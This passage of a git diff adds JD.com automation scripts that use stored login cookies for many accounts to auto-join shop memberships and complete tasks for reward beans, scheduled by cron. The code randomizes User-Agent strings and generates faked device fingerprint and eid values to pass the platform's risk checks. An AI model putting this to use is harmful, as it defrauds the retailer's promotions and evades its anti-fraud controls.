t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_opencardjoyjd.js b/jd_opencardjoyjd.js new file mode 100644 index 0000000..66d3f1e --- /dev/null +++ b/jd_opencardjoyjd.js @@ -0,0 +1,510 @@ +/* + +JoyJd任务脚本 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#JoyJd任务脚本 +5 2,18 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js, tag=JoyJd任务脚本, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "5 2,18 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js,tag=JoyJd任务脚本 + +===============Surge================= +JoyJd任务脚本 = type=cron,cronexp="5 2,18 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js + +============小火箭========= +JoyJd任务脚本 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_joyjd_open.js, cronexpr="5 2,18 * * *", timeout=3600, enable=true + + +*/ +const $ = new Env('会员开卡赢京豆'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +message = "" +!(async () => { + console.log('入口:https://prodev.m.jd.com/mall/active/3z1Vesrhx3GCCcBn2HgbFR4Jq68o/index.html') + console.log('开一张卡获得10豆') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.bean = 0 + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` + } + } + if(message){ + $.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + $.log("获取活动信息失败!") + return + } + let config = [ + {configCode:'469f588bbf0f45e1bf06c87c76df9db8',configName:'我爱520-1'}, + // {configCode:'761d289b16d74713bf6cee8462ca0e76',configName:'我爱520-2'}, + // {configCode:'3d83678471e74b84940b99d16d8848b5',configName:'我爱520-3'}, + //{configCode:'ce04c87546ea40cc8f601e85f2dda2a9',configName:'秋新资任务组件 组1'}, + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,0) + if($.task || $.hotFlag) break + } + if($.hotFlag) continue; + if($.task.showOrder){ + console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) + if($.taskInfo.rewardStatus == 2) continue; + $.taskList = $.task.memberList || $.task.taskList || [] + $.oneTask = '' + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.task.showOrder == 1){ + if($.oneTask.cardName.indexOf('马克华') > -1) continue + console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + }else if($.task.showOrder == 2){ + $.cacheNum = 0 + $.doTask = false + $.outActivity = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c-- && !$.outActivity;n++){ + if($.outActivity) break + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); + if($.cacheNum > 3) break; + await getUA() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + }else{ + n--; + } + } + } + }else{ + console.log('未知活动类型') + } + } + if($.task.showOrder == 2){ + if($.doTask){ + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) + if($.taskInfo) break + } + } + if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else if(res.errorMessage){ + if(res.errorMessage.indexOf('活动已结束') > -1) $.outActivity = true + console.log(`${res.errorMessage}`) + }else{ + console.log(data) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + $.bean += Number($.oneTask.rewardQuantity) + }else{ + console.log(`${res.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,'https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html') + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_pet.js b/jd_pet.js new file mode 100644 index 0000000..636ed8c --- /dev/null +++ b/jd_pet.js @@ -0,0 +1,1062 @@ +/* +东东萌宠 更新地址: jd_pet.js +更新时间:2021-05-21 +活动入口:京东APP我的-更多工具-东东萌宠 +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助5个人。多出的助力码无效 + +=================================Quantumultx========================= +[task_local] +#东东萌宠 +15 6-18/6 * * * jd_pet.js, tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true + +=================================Loon=================================== +[Script] +cron "15 6-18/6 * * *" script-path=jd_pet.js,tag=东东萌宠 + +===================================Surge================================ +东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_pet.js + +====================================小火箭============================= +东东萌宠 = type=cron,script-path=jd_pet.js, cronexpr="15 6-18/6 * * *", timeout=3600, enable=true + + */ +const $ = new Env('东东萌宠互助版'); +let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, allMessage = ''; +let message = '', subTitle = '', option = {}; +let jdNotify = false; //是否关闭通知,false打开通知推送,true关闭通知推送 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let goodsUrl = '', taskInfoKey = []; +let notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let newShareCodes = []; +let NoNeedCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && 